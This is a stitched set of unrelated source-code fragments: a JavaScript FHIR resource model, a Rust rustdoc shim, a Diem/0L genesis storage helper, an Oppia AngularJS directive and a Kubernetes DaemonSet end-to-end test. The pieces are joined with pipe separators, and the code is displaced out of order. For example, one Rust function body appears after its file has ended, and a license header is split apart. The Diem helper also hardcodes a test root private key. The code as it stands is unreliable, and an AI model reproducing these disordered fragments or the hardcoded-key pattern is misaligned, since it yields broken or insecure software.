},
});
Object.defineProperty(this, 'modifierExtension', {
enumerable: true,
get: () => this.__data.modifierExtension,
set: value => {
if (value === undefined || value === null) {
return;
}
let Extension = require('./extension.js');
this.__data.modifierExtension = Array.isArray(value)
? value.map(v => new Extension(v))
: [new Extension(value)];
},
});
Object.defineProperty(this, 'claim', {
enumerable: true,
get: () => this.__data.claim,
set: value => {
if (value === undefined || value === null) {
return;
}
let Reference = require('./reference.js');
this.__data.claim = new Reference(value);
},
});
// valueSetReference: http://hl7.org/fhir/ValueSet/related-claim-relationship
Object.defineProperty(this, 'relationship', {
enumerable: true,
get: () => this.__data.relationship,
set: value => {
if (value === undefined || value === null) {
return;
}
let CodeableConcept = require('./codeableconcept.js');
this.__data.relationship = new CodeableConcept(value);
},
});
Object.defineProperty(this, 'reference', {
enumerable: true,
get: () => this.__data.reference,
set: value => {
if (value === undefined || value === null) {
return;
}
let Identifier = require('./identifier.js');
this.__data.reference = new Identifier(value);
},
});
// Merge in any defaults
Object.assign(this, opts);
// Define a default non-writable resourceType property
Object.defineProperty(this, 'resourceType', {
value: 'ExplanationOfBenefitRelated',
enumerable: true,
writable: false,
});
}
static get resourceType() {
return 'ExplanationOfBenefitRelated';
}
toJSON() {
return {
_id: this._id && this._id.toJSON(),
id: this.id,
extension: this.extension && this.extension.map(v => v.toJSON()),
modifierExtension: this.modifierExtension && this.modifierExtension.map(v => v.toJSON()),
claim: this.claim && this.claim.toJSON(),
relationship: this.relationship && this.relationship.toJSON(),
reference: this.reference && this.reference.toJSON(),
};
}
}; | |
rustdoc.rs | // Copyright 2016 The Rust Project Developers. See the COPYRIGHT
// file at the top-level directory of this distribution and at
// http://rust-lang.org/COPYRIGHT.
//
// Licensed under the Apache License, Version 2.0 <LICENSE-APACHE or
// http://www.apache.org/licenses/LICENSE-2.0> or the MIT license
// <LICENSE-MIT or http://opensource.org/licenses/MIT>, at your
// option. This file may not be copied, modified, or distributed
// except according to those terms.
//! Shim which is passed to Cargo as "rustdoc" when running the bootstrap.
//!
//! See comments in `src/bootstrap/rustc.rs` for more information.
extern crate bootstrap;
use std::env;
use std::process::Command;
use std::path::PathBuf;
fn main() | {
let args = env::args_os().skip(1).collect::<Vec<_>>();
let rustdoc = env::var_os("RUSTDOC_REAL").unwrap();
let libdir = env::var_os("RUSTC_LIBDIR").unwrap();
let mut dylib_path = bootstrap::util::dylib_path();
dylib_path.insert(0, PathBuf::from(libdir));
let mut cmd = Command::new(rustdoc);
cmd.args(&args)
.arg("--cfg").arg(format!("stage{}", env::var("RUSTC_STAGE").unwrap()))
.arg("--cfg").arg("dox")
.env(bootstrap::util::dylib_path_var(),
env::join_paths(&dylib_path).unwrap());
std::process::exit(match cmd.status() {
Ok(s) => s.code().unwrap_or(1),
Err(e) => panic!("\n\nfailed to run {:?}: {}\n\n", cmd, e),
})
} |
|
storage_helper.rs | // Copyright (c) The Diem Core Contributors
// SPDX-License-Identifier: Apache-2.0
// FIXME: (gnazario) storage helper doesn't belong in the genesis tool, but it's attached to it right now
use crate::command::Command;
use consensus_types::safety_data::SafetyData;
use diem_crypto::{
ed25519::{Ed25519PrivateKey, Ed25519PublicKey},
Uniform,
ValidCryptoMaterialStringExt
};
use diem_global_constants::{
CONSENSUS_KEY, DIEM_ROOT_KEY, EXECUTION_KEY, FULLNODE_NETWORK_KEY, OPERATOR_KEY, OWNER_KEY,
SAFETY_DATA, TREASURY_COMPLIANCE_KEY, VALIDATOR_NETWORK_KEY, WAYPOINT,
};
use diem_management::{error::Error, secure_backend::DISK};
use diem_secure_storage::{CryptoStorage, KVStorage, Namespaced, OnDiskStorage, Storage};
use diem_types::{
chain_id::ChainId,
network_address::{self, NetworkAddress},
transaction::Transaction,
waypoint::Waypoint,
};
use std::{
fs::File,
path::{Path, PathBuf},
};
use structopt::StructOpt;
use ol_keys::scheme::KeyScheme;
use ol_types::{ fixtures, genesis_proof::GenesisMiningProof};
pub struct StorageHelper {
temppath: diem_temppath::TempPath,
}
impl StorageHelper {
pub fn new() -> Self {
let temppath = diem_temppath::TempPath::new();
temppath.create_as_file().unwrap();
File::create(temppath.path()).unwrap();
Self { temppath }
}
//////// 0L ////////
pub fn new_with_path(path: std::path::PathBuf) -> Self {
std::fs::create_dir_all(&path).unwrap();
let path = diem_temppath::TempPath::new_with_dir(path);
path.create_as_file().expect("Failed on create_as_file");
File::create(path.path()).expect("Could not create file");
Self { temppath: path }
}
///////// 0L /////////
pub fn get_with_path(path: std::path::PathBuf) -> Self {
let path = diem_temppath::TempPath::new_with_dir(path);
// path.create_as_file().expect("Failed on create_as_file");
// File::create(path.path()).expect("Could not create file");
Self { temppath: path }
}
///////// 0L /////////
pub fn initialize_with_mnemonic_swarm(&self, namespace: String, mnemonic: String) {
let keys = KeyScheme::new_from_mnemonic(mnemonic);
let mut storage = self.storage(namespace.clone());
// let mut rng: rand::rngs::StdRng = rand::SeedableRng::from_seed([5; 32]);
let dummy_root = Ed25519PrivateKey::from_encoded_string(
"8108aedfacf5cf1d73c67b6936397ba5fa72817f1b5aab94658238ddcdc08010"
).unwrap();
storage
.import_private_key(DIEM_ROOT_KEY, dummy_root.clone())
.unwrap();
// let diem_root_key = storage_owner.export_private_key(DIEM_ROOT_KEY).unwrap();
storage
.import_private_key(TREASURY_COMPLIANCE_KEY, dummy_root)
.unwrap();
storage
.import_private_key(OWNER_KEY, keys.child_0_owner.get_private_key())
.unwrap();
storage
.import_private_key(OPERATOR_KEY, keys.child_1_operator.get_private_key())
.unwrap();
storage
.import_private_key(
VALIDATOR_NETWORK_KEY,
keys.child_2_val_network.get_private_key(),
)
.unwrap();
storage
.import_private_key(
FULLNODE_NETWORK_KEY,
keys.child_3_fullnode_network.get_private_key(),
)
.unwrap();
storage
.import_private_key(CONSENSUS_KEY, keys.child_4_consensus.get_private_key())
.unwrap();
storage
.import_private_key(EXECUTION_KEY, keys.child_5_executor.get_private_key())
.unwrap();
storage
.set(SAFETY_DATA, SafetyData::new(0, 0, 0, None))
.unwrap();
storage.set(WAYPOINT, Waypoint::default()).unwrap();
let mut encryptor = diem_network_address_encryption::Encryptor::new(storage);
encryptor.initialize().unwrap();
// TODO: Use EncNetworkAddress instead of TEST_SHARED
encryptor.add_key(
diem_types::network_address::encrypted::TEST_SHARED_VAL_NETADDR_KEY_VERSION,
diem_types::network_address::encrypted::TEST_SHARED_VAL_NETADDR_KEY,
).unwrap();
}
///////// 0L /////////
pub fn initialize_with_mnemonic(
&self, namespace: String, keys: KeyScheme, is_genesis: bool
) {
let mut storage_owner = self.storage(namespace.clone());
let mut storage_oper = self.storage(namespace.clone() + "-oper");
if is_genesis {
// Data needed for testnet, swarm, and genesis ceremony.
let mut storage_root = self.storage("root".to_owned());
let dummy_root = Ed25519PrivateKey::from_encoded_string(
"8108aedfacf5cf1d73c67b6936397ba5fa72817f1b5aab94658238ddcdc08010" // protests rage accross the nation
).unwrap();
storage_root
.import_private_key(DIEM_ROOT_KEY, dummy_root.clone())
.unwrap();
storage_root
.import_private_key(TREASURY_COMPLIANCE_KEY, dummy_root)
.unwrap();
storage_owner
.import_private_key(OWNER_KEY, keys.child_0_owner.get_private_key())
.unwrap();
}
// storage_oper.set(OWNER_ACCOUNT, peer_id).unwrap();
storage_oper
.import_private_key(OPERATOR_KEY, keys.child_1_operator.get_private_key())
.unwrap();
storage_oper
.import_private_key(
VALIDATOR_NETWORK_KEY,
keys.child_2_val_network.get_private_key(),
)
.unwrap();
storage_oper
.import_private_key(
FULLNODE_NETWORK_KEY,
keys.child_3_fullnode_network.get_private_key(),
)
.unwrap();
storage_oper
.import_private_key(CONSENSUS_KEY, keys.child_4_consensus.get_private_key())
.unwrap();
storage_oper
.import_private_key(EXECUTION_KEY, keys.child_5_executor.get_private_key())
.unwrap();
storage_oper
.set(SAFETY_DATA, SafetyData::new(0, 0, 0, None))
.unwrap();
let mut encryptor = diem_network_address_encryption::Encryptor::new(storage_oper);
encryptor.initialize().unwrap();
// TODO: Use EncNetworkAddress instead of TEST_SHARED
encryptor
.add_key(
diem_types::network_address::encrypted::TEST_SHARED_VAL_NETADDR_KEY_VERSION,
diem_types::network_address::encrypted::TEST_SHARED_VAL_NETADDR_KEY,
)
.unwrap();
}
pub fn storage(&self, namespace: String) -> Storage {
let storage = OnDiskStorage::new(self.temppath.path().to_path_buf());
Storage::from(Namespaced::new(namespace, Box::new(Storage::from(storage))))
}
pub fn path(&self) -> &Path {
self.temppath.path()
}
pub fn path_string(&self) -> &str {
self.temppath.path().to_str().unwrap()
}
//////// 0L ////////
// pub fn initialize_by_idx(&self, namespace: String, idx: usize) {
// let partial_seed = bcs::to_bytes(&idx).unwrap();
// let mut seed = [0u8; 32];
// let data_to_copy = 32 - std::cmp::min(32, partial_seed.len());
// seed[data_to_copy..].copy_from_slice(partial_seed.as_slice());
// self.initialize(namespace, seed);
// }
//////// 0L ////////
// 0L: change, initialize the 0-4th accounts with a fixture mnemonics.
// So we can reliably test miner and other transactions.
pub fn initialize_by_idx(&self, namespace: String, idx: usize) {
let partial_seed = bcs::to_bytes(&idx).unwrap();
let mut seed = [0u8; 32];
let data_to_copy = 32 - std::cmp::min(32, partial_seed.len());
seed[data_to_copy..].copy_from_slice(partial_seed.as_slice());
// idx 0 is reserved by swarm for a "diemroot" account in tests.
// It is not for a validator, just for doing genesis.
// idx 1 is for the first node OWNER, set a fixed mnemonic to derive
// keys for this one so we can simulate miner workflow.
// user personas
match idx {
1 => {
let user = fixtures::get_persona_mnem("alice");
dbg!("swarm 3", &user);
self.initialize_with_mnemonic_swarm(
namespace,
fixtures::get_persona_mnem("alice"),
);
}
2 => {
self.initialize_with_mnemonic_swarm(
namespace,
fixtures::get_persona_mnem("bob"),
);
}
3 => {
self.initialize_with_mnemonic_swarm(
namespace,
fixtures::get_persona_mnem("carol"),
);
}
4 => {
self.initialize_with_mnemonic_swarm(
namespace,
fixtures::get_persona_mnem("dave"),
);
}
_ => {
// do random namespaces
self.initialize(namespace, seed);
}
}
}
pub fn initialize(&self, namespace: String, seed: [u8; 32]) {
let mut rng: rand::rngs::StdRng = rand::SeedableRng::from_seed(seed);
let mut storage = self.storage(namespace);
// Initialize all keys in storage
storage
.import_private_key(DIEM_ROOT_KEY, Ed25519PrivateKey::generate(&mut rng))
.unwrap();
// TODO(davidiw) use distinct keys in tests for treasury and diem root keys
let diem_root_key = storage.export_private_key(DIEM_ROOT_KEY).unwrap();
storage
.import_private_key(TREASURY_COMPLIANCE_KEY, diem_root_key)
.unwrap();
storage
.import_private_key(CONSENSUS_KEY, Ed25519PrivateKey::generate(&mut rng))
.unwrap();
storage
.import_private_key(EXECUTION_KEY, Ed25519PrivateKey::generate(&mut rng))
.unwrap();
storage
.import_private_key(FULLNODE_NETWORK_KEY, Ed25519PrivateKey::generate(&mut rng))
.unwrap();
storage
.import_private_key(OWNER_KEY, Ed25519PrivateKey::generate(&mut rng))
.unwrap();
storage
.import_private_key(OPERATOR_KEY, Ed25519PrivateKey::generate(&mut rng))
.unwrap();
storage
.import_private_key(VALIDATOR_NETWORK_KEY, Ed25519PrivateKey::generate(&mut rng))
.unwrap();
// Initialize all other data in storage
storage
.set(SAFETY_DATA, SafetyData::new(0, 0, 0, None))
.unwrap();
storage.set(WAYPOINT, Waypoint::default()).unwrap();
let mut encryptor = diem_network_address_encryption::Encryptor::new(storage);
encryptor.initialize().unwrap();
encryptor
.add_key(
network_address::encrypted::TEST_SHARED_VAL_NETADDR_KEY_VERSION,
network_address::encrypted::TEST_SHARED_VAL_NETADDR_KEY,
)
.unwrap();
}
///////// 0L /////////
pub fn swarm_pow_helper(&self, namespace: String) {
let mut storage = self.storage(namespace);
let default_proof = GenesisMiningProof::default();
storage
.set(
diem_global_constants::PROOF_OF_WORK_PREIMAGE,
default_proof.preimage,
)
.unwrap();
storage
.set(
diem_global_constants::PROOF_OF_WORK_PROOF,
default_proof.proof,
)
.unwrap();
}
pub fn create_waypoint(&self, chain_id: ChainId) -> Result<Waypoint, Error> {
let args = format!(
"
diem-genesis-tool
create-waypoint
--chain-id {chain_id}
--shared-backend backend={backend};\
path={path}
",
chain_id = chain_id,
backend = DISK,
path = self.path_string(),
);
let command = Command::from_iter(args.split_whitespace());
command.create_waypoint()
}
///////// 0L /////////
pub fn build_genesis_with_layout(
&self,
chain_id: ChainId,
remote: &str,
genesis_path: &PathBuf,
layout_path: &PathBuf,
) -> Result<Waypoint, Error> |
///////// 0L /////////
pub fn build_genesis_from_github(
&self,
chain_id: ChainId,
remote: &str,
genesis_path: &PathBuf,
) -> Result<Waypoint, Error> {
let args = format!(
"
diem-genesis-tool
create-waypoint
--chain-id {chain_id}
--shared-backend {remote}
--genesis-path {genesis_path}
",
chain_id = chain_id,
remote = remote,
genesis_path = genesis_path.to_str().unwrap(),
);
let command = Command::from_iter(args.split_whitespace());
command.create_waypoint()
}
pub fn insert_waypoint(&self, validator_ns: &str, waypoint: Waypoint) -> Result<(), Error> {
let args = format!(
"
diem-genesis-tool
insert-waypoint
--validator-backend backend={backend};\
path={path};\
namespace={validator_ns}
--waypoint {waypoint}
--set-genesis
",
backend = DISK,
path = self.path_string(),
validator_ns = validator_ns,
waypoint = waypoint,
);
let command = Command::from_iter(args.split_whitespace());
command.insert_waypoint()
}
pub fn genesis(&self, chain_id: ChainId, genesis_path: &Path) -> Result<Transaction, Error> {
let args = format!(
"
diem-genesis-tool
genesis
--chain-id {chain_id}
--shared-backend backend={backend};\
path={path}
--path {genesis_path}
",
chain_id = chain_id,
backend = DISK,
path = self.path_string(),
genesis_path = genesis_path.to_str().expect("Unable to parse genesis_path"),
);
let command = Command::from_iter(args.split_whitespace());
command.genesis()
}
//////// 0L ////////
pub fn genesis_gh(
&self,
chain_id: ChainId,
remote: &str,
genesis_path: &PathBuf,
) -> Result<Transaction, Error> {
let args = format!(
"
diem-genesis-tool
genesis
--chain-id {chain_id}
--shared-backend {remote}
--path {genesis_path}
",
chain_id = chain_id,
remote = remote,
genesis_path = genesis_path.to_str().expect("Unable to parse genesis_path"),
);
let command = Command::from_iter(args.split_whitespace());
command.genesis()
}
pub fn diem_root_key(
&self,
validator_ns: &str,
shared_ns: &str,
) -> Result<Ed25519PublicKey, Error> {
let args = format!(
"
diem-genesis-tool
diem-root-key
--validator-backend backend={backend};\
path={path};\
namespace={validator_ns}
--shared-backend backend={backend};\
path={path};\
namespace={shared_ns}
",
backend = DISK,
path = self.path_string(),
validator_ns = validator_ns,
shared_ns = shared_ns,
);
let command = Command::from_iter(args.split_whitespace());
command.diem_root_key()
}
pub fn operator_key(
&self,
validator_ns: &str,
shared_ns: &str,
) -> Result<Ed25519PublicKey, Error> {
let args = format!(
"
diem-genesis-tool
operator-key
--validator-backend backend={backend};\
path={path};\
namespace={validator_ns}
--shared-backend backend={backend};\
path={path};\
namespace={shared_ns}
",
backend = DISK,
path = self.path_string(),
validator_ns = validator_ns,
shared_ns = shared_ns,
);
let command = Command::from_iter(args.split_whitespace());
command.operator_key()
}
pub fn owner_key(
&self,
validator_ns: &str,
shared_ns: &str,
) -> Result<Ed25519PublicKey, Error> {
let args = format!(
"
diem-genesis-tool
owner-key
--validator-backend backend={backend};\
path={path};\
namespace={validator_ns}
--shared-backend backend={backend};\
path={path};\
namespace={shared_ns}
",
backend = DISK,
path = self.path_string(),
validator_ns = validator_ns,
shared_ns = shared_ns,
);
let command = Command::from_iter(args.split_whitespace());
command.owner_key()
}
#[cfg(test)]
pub fn set_layout(&self, path: &str) -> Result<crate::layout::Layout, Error> {
let args = format!(
"
diem-genesis-tool
set-layout
--path {path}
--shared-backend backend={backend};\
path={storage_path}
",
path = path,
backend = DISK,
storage_path = self.path_string(),
);
let command = Command::from_iter(args.split_whitespace());
command.set_layout()
}
pub fn set_operator(&self, operator_name: &str, shared_ns: &str) -> Result<String, Error> {
let args = format!(
"
diem-genesis-tool
set-operator
--operator-name {operator_name}
--shared-backend backend={backend};\
path={path};\
namespace={shared_ns}
",
operator_name = operator_name,
backend = DISK,
path = self.path_string(),
shared_ns = shared_ns,
);
let command = Command::from_iter(args.split_whitespace());
command.set_operator()
}
pub fn treasury_compliance_key(
&self,
validator_ns: &str,
shared_ns: &str,
) -> Result<Ed25519PublicKey, Error> {
let args = format!(
"
diem-genesis-tool
treasury-compliance-key
--validator-backend backend={backend};\
path={path};\
namespace={validator_ns}
--shared-backend backend={backend};\
path={path};\
namespace={shared_ns}
",
backend = DISK,
path = self.path_string(),
validator_ns = validator_ns,
shared_ns = shared_ns,
);
let command = Command::from_iter(args.split_whitespace());
command.treasury_compliance_key()
}
pub fn validator_config(
&self,
owner_name: &str,
validator_address: NetworkAddress,
fullnode_address: NetworkAddress,
chain_id: ChainId,
validator_ns: &str,
shared_ns: &str,
) -> Result<Transaction, Error> {
let args = format!(
"
diem-genesis-tool
validator-config
--owner-name {owner_name}
--validator-address {validator_address}
--fullnode-address {fullnode_address}
--chain-id {chain_id}
--validator-backend backend={backend};\
path={path};\
namespace={validator_ns}
--shared-backend backend={backend};\
path={path};\
namespace={shared_ns}
",
owner_name = owner_name,
validator_address = validator_address,
fullnode_address = fullnode_address,
chain_id = chain_id.id(),
backend = DISK,
path = self.path_string(),
validator_ns = validator_ns,
shared_ns = shared_ns,
);
let command = Command::from_iter(args.split_whitespace());
command.validator_config()
}
#[cfg(test)]
pub fn verify(&self, namespace: &str) -> Result<String, Error> {
let args = format!(
"
diem-genesis-tool
verify
--validator-backend backend={backend};\
path={path};\
namespace={ns}
",
backend = DISK,
path = self.path_string(),
ns = namespace,
);
let command = Command::from_iter(args.split_whitespace());
command.verify()
}
pub fn verify_genesis(&self, namespace: &str, genesis_path: &Path) -> Result<String, Error> {
let args = format!(
"
diem-genesis-tool
verify
--validator-backend backend={backend};\
path={path};\
namespace={ns}
--genesis-path {genesis_path}
",
backend = DISK,
path = self.path_string(),
ns = namespace,
genesis_path = genesis_path.to_str().expect("Unable to parse genesis_path"),
);
let command = Command::from_iter(args.split_whitespace());
command.verify()
}
}
| {
let args = format!(
"
diem-genesis-tool
create-waypoint
--chain-id {chain_id}
--shared-backend {remote}
--genesis-path {genesis_path}
--layout-path {layout_path}
",
chain_id = chain_id,
remote = remote,
genesis_path = genesis_path.to_str().unwrap(),
layout_path = layout_path.to_str().unwrap(),
);
let command = Command::from_iter(args.split_whitespace());
command.create_waypoint()
} |
story-viewer-page.directive.ts | // Copyright 2018 The Oppia Authors. All Rights Reserved.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
// | // distributed under the License is distributed on an "AS-IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
/**
* @fileoverview Directive for the main page of the story viewer.
*/
require(
'components/common-layout-directives/common-elements/' +
'background-banner.directive.ts');
require(
'pages/story-viewer-page/navbar-breadcrumb/' +
'story-viewer-navbar-breadcrumb.directive.ts');
require(
'pages/story-viewer-page/chapters-list/' +
'story-viewer-chapters-list.directive.ts');
require('domain/story_viewer/StoryPlaythroughObjectFactory.ts');
require('domain/story_viewer/StoryViewerBackendApiService.ts');
require('services/AlertsService.ts');
require('services/PageTitleService.ts');
require('services/contextual/UrlService.ts');
oppia.directive('storyViewerPage', [
'UrlInterpolationService', function(UrlInterpolationService) {
return {
restrict: 'E',
scope: {},
bindToController: {},
templateUrl: UrlInterpolationService.getDirectiveTemplateUrl(
'/pages/story-viewer-page/story-viewer-page.directive.html'),
controllerAs: '$ctrl',
controller: [
'$rootScope', '$window', 'AlertsService',
'PageTitleService', 'StoryPlaythroughObjectFactory',
'StoryViewerBackendApiService', 'UrlService', 'FATAL_ERROR_CODES',
function(
$rootScope, $window, AlertsService,
PageTitleService, StoryPlaythroughObjectFactory,
StoryViewerBackendApiService, UrlService, FATAL_ERROR_CODES) {
var ctrl = this;
ctrl.checkMobileView = function() {
return ($window.innerWidth < 500);
};
ctrl.storyIsLoaded = false;
$rootScope.loadingMessage = 'Loading';
var storyId = UrlService.getStoryIdFromViewerUrl();
StoryViewerBackendApiService.fetchStoryData(storyId).then(
function(storyDataDict) {
ctrl.storyIsLoaded = true;
ctrl.storyPlaythroughObject =
StoryPlaythroughObjectFactory.createFromBackendDict(
storyDataDict);
PageTitleService.setPageTitle(
storyDataDict.story_title + ' - Oppia');
ctrl.storyTitle = storyDataDict.story_title;
ctrl.storyDescription = storyDataDict.story_description;
$rootScope.loadingMessage = '';
},
function(errorResponse) {
if (FATAL_ERROR_CODES.indexOf(errorResponse.status) !== -1) {
AlertsService.addWarning('Failed to get dashboard data');
}
}
);
}
]
};
}]); | // http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software |
daemon_set.go | /*
Copyright 2015 The Kubernetes Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package apps
import (
"fmt"
"reflect"
"strings"
"time"
appsv1 "k8s.io/api/apps/v1"
"k8s.io/api/core/v1"
apierrors "k8s.io/apimachinery/pkg/api/errors"
metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
"k8s.io/apimachinery/pkg/labels"
"k8s.io/apimachinery/pkg/runtime"
"k8s.io/apimachinery/pkg/types"
"k8s.io/apimachinery/pkg/util/wait"
clientset "k8s.io/client-go/kubernetes"
"k8s.io/client-go/kubernetes/scheme"
podutil "k8s.io/kubernetes/pkg/api/v1/pod"
extensionsinternal "k8s.io/kubernetes/pkg/apis/extensions"
"k8s.io/kubernetes/pkg/controller/daemon"
schedulernodeinfo "k8s.io/kubernetes/pkg/scheduler/nodeinfo"
"k8s.io/kubernetes/test/e2e/framework"
e2enode "k8s.io/kubernetes/test/e2e/framework/node"
testutils "k8s.io/kubernetes/test/utils"
"github.com/onsi/ginkgo"
"github.com/onsi/gomega"
)
const (
// this should not be a multiple of 5, because node status updates
// every 5 seconds. See https://github.com/kubernetes/kubernetes/pull/14915.
dsRetryPeriod = 1 * time.Second
dsRetryTimeout = 5 * time.Minute
daemonsetLabelPrefix = "daemonset-"
daemonsetNameLabel = daemonsetLabelPrefix + "name"
daemonsetColorLabel = daemonsetLabelPrefix + "color"
)
// NamespaceNodeSelectors the annotation key scheduler.alpha.kubernetes.io/node-selector is for assigning
// node selectors labels to namespaces
var NamespaceNodeSelectors = []string{"scheduler.alpha.kubernetes.io/node-selector"}
type updateDSFunc func(*appsv1.DaemonSet)
// updateDaemonSetWithRetries updates daemonsets with the given applyUpdate func
// until it succeeds or a timeout expires.
func updateDaemonSetWithRetries(c clientset.Interface, namespace, name string, applyUpdate updateDSFunc) (ds *appsv1.DaemonSet, err error) {
daemonsets := c.AppsV1().DaemonSets(namespace)
var updateErr error
pollErr := wait.PollImmediate(10*time.Millisecond, 1*time.Minute, func() (bool, error) {
if ds, err = daemonsets.Get(name, metav1.GetOptions{}); err != nil {
if testutils.IsRetryableAPIError(err) {
return false, nil
}
return false, err
}
// Apply the update, then attempt to push it to the apiserver.
applyUpdate(ds)
if ds, err = daemonsets.Update(ds); err == nil {
framework.Logf("Updating DaemonSet %s", name)
return true, nil
}
updateErr = err
return false, nil
})
if pollErr == wait.ErrWaitTimeout {
pollErr = fmt.Errorf("couldn't apply the provided updated to DaemonSet %q: %v", name, updateErr)
}
return ds, pollErr
}
// This test must be run in serial because it assumes the Daemon Set pods will
// always get scheduled. If we run other tests in parallel, this may not
// happen. In the future, running in parallel may work if we have an eviction
// model which lets the DS controller kick out other pods to make room.
// See http://issues.k8s.io/21767 for more details
var _ = SIGDescribe("Daemon set [Serial]", func() {
var f *framework.Framework
ginkgo.AfterEach(func() {
// Clean up
daemonsets, err := f.ClientSet.AppsV1().DaemonSets(f.Namespace.Name).List(metav1.ListOptions{})
framework.ExpectNoError(err, "unable to dump DaemonSets")
if daemonsets != nil && len(daemonsets.Items) > 0 {
for _, ds := range daemonsets.Items {
ginkgo.By(fmt.Sprintf("Deleting DaemonSet %q", ds.Name))
framework.ExpectNoError(framework.DeleteResourceAndWaitForGC(f.ClientSet, extensionsinternal.Kind("DaemonSet"), f.Namespace.Name, ds.Name))
err = wait.PollImmediate(dsRetryPeriod, dsRetryTimeout, checkRunningOnNoNodes(f, &ds))
framework.ExpectNoError(err, "error waiting for daemon pod to be reaped")
}
}
if daemonsets, err := f.ClientSet.AppsV1().DaemonSets(f.Namespace.Name).List(metav1.ListOptions{}); err == nil {
framework.Logf("daemonset: %s", runtime.EncodeOrDie(scheme.Codecs.LegacyCodec(scheme.Scheme.PrioritizedVersionsAllGroups()...), daemonsets))
} else {
framework.Logf("unable to dump daemonsets: %v", err)
}
if pods, err := f.ClientSet.CoreV1().Pods(f.Namespace.Name).List(metav1.ListOptions{}); err == nil {
framework.Logf("pods: %s", runtime.EncodeOrDie(scheme.Codecs.LegacyCodec(scheme.Scheme.PrioritizedVersionsAllGroups()...), pods))
} else {
framework.Logf("unable to dump pods: %v", err)
}
err = clearDaemonSetNodeLabels(f.ClientSet)
framework.ExpectNoError(err)
})
f = framework.NewDefaultFramework("daemonsets")
image := WebserverImage
dsName := "daemon-set"
var ns string
var c clientset.Interface
ginkgo.BeforeEach(func() {
ns = f.Namespace.Name
c = f.ClientSet
updatedNS, err := updateNamespaceAnnotations(c, ns)
framework.ExpectNoError(err)
ns = updatedNS.Name
err = clearDaemonSetNodeLabels(c)
framework.ExpectNoError(err)
})
/*
Testname: DaemonSet-Creation
Description: A conformant Kubernetes distribution MUST support the creation of DaemonSets. When a DaemonSet
Pod is deleted, the DaemonSet controller MUST create a replacement Pod.
*/
framework.ConformanceIt("should run and stop simple daemon", func() {
label := map[string]string{daemonsetNameLabel: dsName}
ginkgo.By(fmt.Sprintf("Creating simple DaemonSet %q", dsName))
ds, err := c.AppsV1().DaemonSets(ns).Create(newDaemonSet(dsName, image, label))
framework.ExpectNoError(err)
ginkgo.By("Check that daemon pods launch on every node of the cluster.")
err = wait.PollImmediate(dsRetryPeriod, dsRetryTimeout, checkRunningOnAllNodes(f, ds))
framework.ExpectNoError(err, "error waiting for daemon pod to start")
err = checkDaemonStatus(f, dsName)
framework.ExpectNoError(err)
ginkgo.By("Stop a daemon pod, check that the daemon pod is revived.")
podList := listDaemonPods(c, ns, label)
pod := podList.Items[0]
err = c.CoreV1().Pods(ns).Delete(pod.Name, nil)
framework.ExpectNoError(err)
err = wait.PollImmediate(dsRetryPeriod, dsRetryTimeout, checkRunningOnAllNodes(f, ds))
framework.ExpectNoError(err, "error waiting for daemon pod to revive")
})
/*
Testname: DaemonSet-NodeSelection
Description: A conformant Kubernetes distribution MUST support DaemonSet Pod node selection via label
selectors.
*/
framework.ConformanceIt("should run and stop complex daemon", func() {
complexLabel := map[string]string{daemonsetNameLabel: dsName}
nodeSelector := map[string]string{daemonsetColorLabel: "blue"}
framework.Logf("Creating daemon %q with a node selector", dsName)
ds := newDaemonSet(dsName, image, complexLabel)
ds.Spec.Template.Spec.NodeSelector = nodeSelector
ds, err := c.AppsV1().DaemonSets(ns).Create(ds)
framework.ExpectNoError(err)
ginkgo.By("Initially, daemon pods should not be running on any nodes.")
err = wait.PollImmediate(dsRetryPeriod, dsRetryTimeout, checkRunningOnNoNodes(f, ds))
framework.ExpectNoError(err, "error waiting for daemon pods to be running on no nodes")
ginkgo.By("Change node label to blue, check that daemon pod is launched.")
node, err := e2enode.GetRandomReadySchedulableNode(f.ClientSet)
framework.ExpectNoError(err)
newNode, err := setDaemonSetNodeLabels(c, node.Name, nodeSelector)
framework.ExpectNoError(err, "error setting labels on node")
daemonSetLabels, _ := separateDaemonSetNodeLabels(newNode.Labels)
framework.ExpectEqual(len(daemonSetLabels), 1)
err = wait.PollImmediate(dsRetryPeriod, dsRetryTimeout, checkDaemonPodOnNodes(f, ds, []string{newNode.Name}))
framework.ExpectNoError(err, "error waiting for daemon pods to be running on new nodes")
err = checkDaemonStatus(f, dsName)
framework.ExpectNoError(err)
ginkgo.By("Update the node label to green, and wait for daemons to be unscheduled")
nodeSelector[daemonsetColorLabel] = "green"
greenNode, err := setDaemonSetNodeLabels(c, node.Name, nodeSelector)
framework.ExpectNoError(err, "error removing labels on node")
err = wait.PollImmediate(dsRetryPeriod, dsRetryTimeout, checkRunningOnNoNodes(f, ds))
framework.ExpectNoError(err, "error waiting for daemon pod to not be running on nodes")
ginkgo.By("Update DaemonSet node selector to green, and change its update strategy to RollingUpdate")
patch := fmt.Sprintf(`{"spec":{"template":{"spec":{"nodeSelector":{"%s":"%s"}}},"updateStrategy":{"type":"RollingUpdate"}}}`,
daemonsetColorLabel, greenNode.Labels[daemonsetColorLabel])
ds, err = c.AppsV1().DaemonSets(ns).Patch(dsName, types.StrategicMergePatchType, []byte(patch))
framework.ExpectNoError(err, "error patching daemon set")
daemonSetLabels, _ = separateDaemonSetNodeLabels(greenNode.Labels)
framework.ExpectEqual(len(daemonSetLabels), 1)
err = wait.PollImmediate(dsRetryPeriod, dsRetryTimeout, checkDaemonPodOnNodes(f, ds, []string{greenNode.Name}))
framework.ExpectNoError(err, "error waiting for daemon pods to be running on new nodes")
err = checkDaemonStatus(f, dsName)
framework.ExpectNoError(err)
})
// We defer adding this test to conformance pending the disposition of moving DaemonSet scheduling logic to the
// default scheduler.
ginkgo.It("should run and stop complex daemon with node affinity", func() {
complexLabel := map[string]string{daemonsetNameLabel: dsName}
nodeSelector := map[string]string{daemonsetColorLabel: "blue"}
